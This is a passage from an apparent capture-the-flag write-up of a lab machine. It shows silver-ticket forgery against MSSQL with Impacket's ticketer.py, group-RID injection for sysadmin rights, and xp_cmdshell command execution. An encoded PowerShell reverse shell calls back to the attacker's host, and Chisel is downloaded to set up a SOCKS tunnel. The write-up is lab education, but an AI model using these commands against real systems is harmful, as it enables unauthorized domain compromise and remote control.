<p>That makes this a bit of a dead end at least for now. However, the <code class="language-plaintext highlighter-rouge">enum_logins</code> output shows more logins than scott is able to see. In addition to sa, there are five other users who have the sysadmin privileges, and one group, SIGNED\IT.</p>

<h3 id="silver-ticket">Silver Ticket</h3>

<h4 id="background">Background</h4>

<p>A silver ticket is a forged Kerberos service ticket (TGS) created using the NTLM hash of a service account. Unlike a golden ticket (which forges a TGT using the krbtgt hash), a silver ticket targets a specific service. In this case, because I have the NTLM hash (or the raw password which makes it trivial to calculate the NTLM hash) of the mssqlsvc account, I can craft service tickets (TGS) for the MSSQL service.</p>

<h4 id="tgs-as-mssqlsvc">TGS as mssqlsvc</h4>

<p>I’ll start by proving I can forge a ticket for a user I know, mssqlsvc. To create a ticket, I’ll need:</p>

<ul>
  <li>The NTLM hash of the service account password.</li>
  <li>The domain SID</li>
</ul>

<p>To get the NTLM, I’ll use Python with the plaintext password:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import hashlib; print(hashlib.new("md4", "purPLE9795!@".encode("utf-16le")).hexdigest())'</span>
<span class="go">ef699384c3285c54128a3ee1ddb1a0cc
</span></code></pre></div></div>

<p>To get the domain SID, I’ll fetch a SID from the DB:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  guest@master)&gt; </span><span class="k">SELECT</span> <span class="n">SUSER_SID</span><span class="p">(</span><span class="s1">'SIGNED</span><span class="se">\D</span><span class="s1">omain Users'</span><span class="p">);</span>
<span class="go">
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000' 
</span></code></pre></div></div>

<p>The raw SID is a binary structure in little-endian format. Here’s how to parse it:</p>

<table>
  <thead>
    <tr>
      <th>Bytes</th>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">01</code></td>
      <td>Revision</td>
      <td>1</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">05</code></td>
      <td>Sub-authority count</td>
      <td>5</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">000000000005</code></td>
      <td>Identifier authority</td>
      <td>5 (NT Authority)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">15000000</code></td>
      <td>Sub-auth 1</td>
      <td>0x00000015 = 21</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">5b7bb0f3</code></td>
      <td>Sub-auth 2</td>
      <td>0xf3b07b5b = 4088429403</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">98aa2245</code></td>
      <td>Sub-auth 3</td>
      <td>0x4522aa98 = 1159899800</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ad4a1ca4</code></td>
      <td>Sub-auth 4</td>
      <td>0xa41c4aad = 2753317549</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">01020000</code></td>
      <td>Sub-auth 5</td>
      <td>0x00000201 = 513 (Domain Users RID)</td>
    </tr>
  </tbody>
</table>

<p>Putting that all together makes S-1-5-21-4088429403-1159899800-2753317549-513, and the domain SID will be that without the RID at the end: S-1-5-21-4088429403-1159899800-2753317549.</p>

<p>Python can do this using a tool from <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="kn">from</span> <span class="n">impacket.dcerpc.v5.dtypes</span> <span class="kn">import</span> <span class="n">SID</span>
<span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="nc">SID</span><span class="p">(</span><span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="sh">'</span><span class="s">0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000</span><span class="sh">'</span><span class="p">)).</span><span class="nf">formatCanonical</span><span class="p">()</span>
<span class="go">'S-1-5-21-4088429403-1159899800-2753317549-513'
</span></code></pre></div></div>

<p>Putting that together forges a ticket:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ticketer.py <span class="nt">-nthash</span> ef699384c3285c54128a3ee1ddb1a0cc <span class="nt">-domain-sid</span> S-1-5-21-4088429403-1159899800-2753317549 <span class="nt">-domain</span> signed.htb <span class="nt">-spn</span> MSSQLSvc/DC01.signed.htb:1433 mssqlsvc
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
</span></code></pre></div></div>

<p>I can use that to connect to MSSQL:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>mssqlsvc.ccache mssqlclient.py <span class="nt">-no-pass</span> <span class="nt">-k</span> DC01.signed.htb
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (SIGNED\mssqlsvc  guest@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>It’s as the mssqlsvc user:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  guest@master)&gt; </span><span class="k">select</span> <span class="n">SUSER_SNAME</span><span class="p">(),</span> <span class="n">ORIGINAL_LOGIN</span><span class="p">();</span>
<span class="go">                                            
-------------------   -------------------   
SIGNED.HTB\mssqlsvc   SIGNED.HTB\mssqlsvc 
</span></code></pre></div></div>

<h4 id="tgs-as-administrator-fail">TGS as Administrator [Fail]</h4>

<p>I can do the same thing to make a ticket as Administrator:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ticketer.py <span class="nt">-nthash</span> ef699384c3285c54128a3ee1ddb1a0cc <span class="nt">-domain-sid</span> S-1-5-21-4088429403-1159899800-2753317549 <span class="nt">-domain</span> signed.htb <span class="nt">-spn</span> MSSQLSvc/DC01.signed.htb:1433 Administrator
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>Administrator.ccache mssqlclient.py <span class="nt">-no-pass</span> <span class="nt">-k</span> DC01.signed.htb
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (SIGNED\Administrator  guest@master)&gt;</span><span class="w"> </span><span class="k">select </span>SUSER_SNAME<span class="o">()</span>, ORIGINAL_LOGIN<span class="o">()</span><span class="p">;</span>
<span class="go">                                                      
------------------------   ------------------------   
SIGNED.HTB\Administrator   SIGNED.HTB\Administrator 
</span></code></pre></div></div>

<p>Unfortunately, as shown above, the database is set up so that the Administrator user doesn’t have any useful privileges.</p>

<h4 id="tgs-with-it-group">TGS with IT Group</h4>

<p>The IT group has sysadmin privileges on the database. When a user authenticates using Kerberos, they authenticate to the DC which generates the TGS with all the information about the user, including their groups, and encrypts it with the NTLM of the service account that will receive it. When I’m forging a silver ticket using the service’s NTLM, I can add groups to the forged ticket.</p>

<p>I’ll get the SID for the IT group:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\Administrator  guest@master)&gt; </span><span class="k">select</span> <span class="n">SUSER_SID</span><span class="p">(</span><span class="s1">'Signed</span><span class="se">\I</span><span class="s1">T'</span><span class="p">)</span>
<span class="go">                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000' 
</span></code></pre></div></div>

<p>That’s RID 1105:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>python <span class="nt">-c</span> <span class="s1">'print(0x451)'</span>
<span class="go">1105
</span></code></pre></div></div>

<p>I’ll add <code class="language-plaintext highlighter-rouge">-groups 1105</code> to the ticket:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ticketer.py <span class="nt">-nthash</span> ef699384c3285c54128a3ee1ddb1a0cc <span class="nt">-domain-sid</span> S-1-5-21-4088429403-1159899800-2753317549 <span class="nt">-domain</span> signed.htb <span class="nt">-spn</span> MSSQLSvc/DC01.signed.htb:1433 <span class="nt">-groups</span> 1105 Administrator
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
</span></code></pre></div></div>

<p>And connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>Administrator.ccache mssqlclient.py <span class="nt">-no-pass</span> <span class="nt">-k</span> DC01.signed.htb
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (SIGNED\Administrator  dbo@master)&gt;</span><span class="w"> 
</span></code></pre></div></div>

<p>Right away it’s showing dbo as the user, rather than guest!</p>

<h3 id="execution--shell">Execution / Shell</h3>

<p>With sysadmin privileges (via the IT group membership), I can enable <code class="language-plaintext highlighter-rouge">xp_cmdshell</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\Administrator  dbo@master)&gt; </span><span class="n">enable_xp_cmdshell</span>
<span class="go">INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
</span><span class="gp">SQL (SIGNED\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span> <span class="n">whoami</span>
<span class="go">output            
---------------   
signed\mssqlsvc   
NULL 
</span></code></pre></div></div>

<p>Regardless of the user I connect to the DB as, the DB is running commands on the host as the mssqlsvc. Still, that’s enough to get the user flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"dir C:\Users\mssqlsvc\Desktop"</span><span class="w">
</span><span class="go">output                                               
--------------------------------------------------   
 Volume in drive C has no label.                     
 Volume Serial Number is BED4-436E                   
NULL                                                 
 Directory of C:\Users\mssqlsvc\Desktop              
NULL                                                 
10/02/2025  08:50 AM    &lt;DIR&gt;          .             
10/02/2025  08:50 AM    &lt;DIR&gt;          ..            
01/30/2026  08:33 AM                34 user.txt      
               1 File(s)             34 bytes        
               2 Dir(s)   6,209,335,296 bytes free   
NULL                                                 
</span><span class="gp">SQL (SIGNED\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"type C:\Users\mssqlsvc\Desktop\user.txt"</span><span class="w">
</span><span class="go">output                             
--------------------------------   
3d5747bd************************   
NULL
</span></code></pre></div></div>

<p>I can also pass a PowerShell rev shell from <a href="https://www.revshells.com/">revshells.com</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span> <span class="nv">"powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="</span>
</code></pre></div></div>

<p>It hangs, but at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.242.173 62457

</span><span class="gp">PS C:\Windows\system32&gt;</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="many-escalations">Many Escalations</h2>

<h3 id="setup">Setup</h3>

<h4 id="enumeration-1">Enumeration</h4>

<p>This process doesn’t have any useful privileges:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">whoami</span><span class="w"> </span><span class="nx">/priv</span><span class="w">
</span><span class="go">
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State   
============================= ================================== ========
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled 
SeCreateGlobalPrivilege       Create global objects              Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled
</span></code></pre></div></div>

<p>It would be very common to see <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> here, but the service must be hardened against that line of attack (I’ll abuse it anyway <a href="#via-seimpersonate-restoration">later</a>).</p>

<p>mssqlsvc’s home directory is empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\users\mssqlsvc&gt;</span><span class="w"> </span><span class="n">tree</span><span class="w"> </span><span class="nx">/f</span><span class="w">
</span><span class="go">Folder PATH listing
Volume serial number is BED4-436E
C:.
????Desktop
?       user.txt
?       
????Documents
????Downloads
????Favorites
????Links
????Music
????Pictures
????Saved Games
????Videos
</span></code></pre></div></div>

<p>There are no other interesting users on the filesystem:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\users&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/7/2025   2:56 AM                Administrator
d-----        10/2/2025   9:27 AM                mssqlsvc
d-r---        4/10/2020  10:49 AM                Public 
</span></code></pre></div></div>

<p>The root of the drive is pretty empty as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/7/2025   2:57 AM                inetpub
d-----       10/10/2020   8:38 AM                PerfLogs
d-r---        10/6/2025   8:30 AM                Program Files
d-----        10/2/2025   9:25 AM                Program Files (x86)
d-----        10/2/2025   9:19 AM                SQL2022
d-r---        10/2/2025   9:27 AM                Users
d-----        10/7/2025   3:05 AM                Windows  
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inetpub</code> is empty and <code class="language-plaintext highlighter-rouge">SQL2022</code> appears empty (it’s actually just inaccessible to mssqlsvc, and it’s not interesting anyway). There aren’t any interesting install programs.</p>

<h4 id="tunnel">Tunnel</h4>

<p>For some of the various escalation methods it’ll be useful to have a proxy through localhost to access other ports besides 1433. I’ll upload <a href="https://github.com/jpillora/chisel">Chisel</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nx">http://10.10.14.16/chisel_1.10.1_windows_amd64</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">c.exe</span><span class="w">
</span></code></pre></div></div>

<p>I’ll start the server on my host (<code class="language-plaintext highlighter-rouge">./chisel_1.10.0_linux_amd64 server --reverse -p 8000</code>) and connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\c.exe</span><span class="w"> </span><span class="nx">client</span><span class="w"> </span><span class="nx">10.10.14.16:8000</span><span class="w"> </span><span class="nx">R:socks</span><span class="w">
</span></code></pre></div></div>

<p>This hangs, but there’s a connection at the server:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">2026/02/01 13:41:25 server: session#1: Client version (1.10.1) differs from server version (1.10.0)
2026/02/01 13:41:25 server: session#1: tun: proxy#R:127.0.0.1:1080=&gt;socks: Listening
</span></code></pre></div></div>

<p>I’ll configure <code class="language-plaintext highlighter-rouge">proxychains</code> by making sure the end of my <code class="language-plaintext highlighter-rouge">/etc/proxychains.conf</code> is set up to use this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ProxyList]
socks5  127.0.0.1 1080
</code></pre></div></div>

<p>Now I can access other ports, like SMB:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains netexec smb 127.0.0.1
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:135  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        127.0.0.1       445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span></code></pre></div></div>

<h3 id="overview">Overview</h3>

<p>I’ll show three ways to get Administrator or SYSTEM shells on Signed:</p>

<pre><code class="language-mermaid">flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] ---&gt;|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] ---&gt;|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[mssqlsvc\nPassword]--&gt;B(&lt;a href='#via-openrowset-bulk-impersonation'&gt;OPENROWSET\nBULK Impersonation&lt;/a&gt;);
    A--&gt;K[&lt;a href='#execution--shell'&gt;Shell as mssqlsvc&lt;/a&gt;];
    B--&gt;C[&lt;a href='#file-read'&gt;Read as\nany Group&lt;/a&gt;];
    C--&gt;D[root.txt];
    C--&gt;E(&lt;a href='#shell'&gt;Administrator Password&lt;/a&gt;);
    K--&gt;L(&lt;a href='#tunnel'&gt;Chisel Socks&lt;/a&gt;);
    K--&gt;H(&lt;a href='#via-seimpersonate-restoration'&gt;Recover Network\nLogon Token&lt;/a&gt;);
    E--WinRM over Chisel Tunnel--&gt;F[Shell as Administrator];
    L--&gt;G(&lt;a href='#via-ntlm-relay'&gt;NTLM Relay&lt;/a&gt;);
    G--ntlmrelayx WinRm--&gt;F;
    H--&gt;I(&lt;a href='#godpotato'&gt;GodPotato&lt;/a&gt;);
    I---&gt;J[Shell as SYSTEM];
    F--&gt;D;
    J--&gt;D;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,4,5,6,8,9,12,13,15 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
</code></pre>

<h3 id="via-openrowset-bulk-impersonation">via OPENROWSET BULK Impersonation</h3>

<h4 id="file-read">File Read</h4>

<p>There’s an interesting quirk of MSSQL and its <a href="https://learn.microsoft.com/en-us/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-ver17">OPENROWSET</a> where it will use the groups given to it in the authenticating service ticket <em>if</em> the ticket is for the account running MSSQL (so in this case mssqlsvc). I can’t find documentation for this behavior, though I confirmed it only works when the user ID of the mssqlsvc user is explicitly given (the actual username given doesn’t matter). <a href="https://bsky.app/profile/sokafr.bsky.social">sokafr</a> on BlueSky tipped me off to a post from xct, <a href="https://vuln.dev/silver-ticket-mssql-clr/">MSSQL Silver Tickets and Token Privileges</a>, that shows how this works. I also showed this attack before in <a href="/2023/06/17/htb-escape.html#beyond-root---silver-ticket">Escape</a>.</p>

<p>I’ll add two options to my <code class="language-plaintext highlighter-rouge">ticketer.py</code> call:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-user-id 1103</code> - Force the user ID to be that of mssqlsvc.</li>
  <li><code class="language-plaintext highlighter-rouge">-groups '512,1105'</code> - 1105 is IT, to get sysadmin privileges on the DB. 512 is Domain Admins, though any domain privileged group would work here, as this is what will let me access files.</li>
</ul>

<p>I’ll craft the ticket:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ticketer.py <span class="nt">-nthash</span> ef699384c3285c54128a3ee1ddb1a0cc <span class="nt">-domain-sid</span> S-1-5-21-4088429403-1159899800-2753317549 <span class="nt">-domain</span> signed.htb <span class="nt">-spn</span> MSSQLSvc/DC01.signed.htb:1433 <span class="nt">-user-id</span> 1103 <span class="nt">-groups</span> <span class="s1">'512,1105'</span> doesntmatter
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/doesntmatter
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in doesntmatter.ccache
</span></code></pre></div></div>

<p>I’ll connect with it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>doesntmatter.ccache mssqlclient.py <span class="nt">-no-pass</span> <span class="nt">-k</span> DC01.signed.htb
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (SIGNED\mssqlsvc  dbo@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>I’m still dbo, and showing as the mssqlsvc account. If I try <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> to read the root flag, it fails:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"type C:\Users\Administrator\Desktop\root.txt"</span><span class="w">
</span><span class="go">output              
-----------------   
Access is denied.   
NULL  
</span></code></pre></div></div>

<p>mssqlsvc is spawning a new <code class="language-plaintext highlighter-rouge">cmd.exe</code> process, and it doesn’t get the groups from the ticket. I can show this explicitly:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"whoami /groups"</span><span class="w">
</span><span class="go">output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
GROUP INFORMATION
-----------------
NULL
Group Name                                 Type             SID                                                             Attributes
========================================== ================ =============================================================== ==================================================   
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group   
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group   
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                                    Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group   
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group   
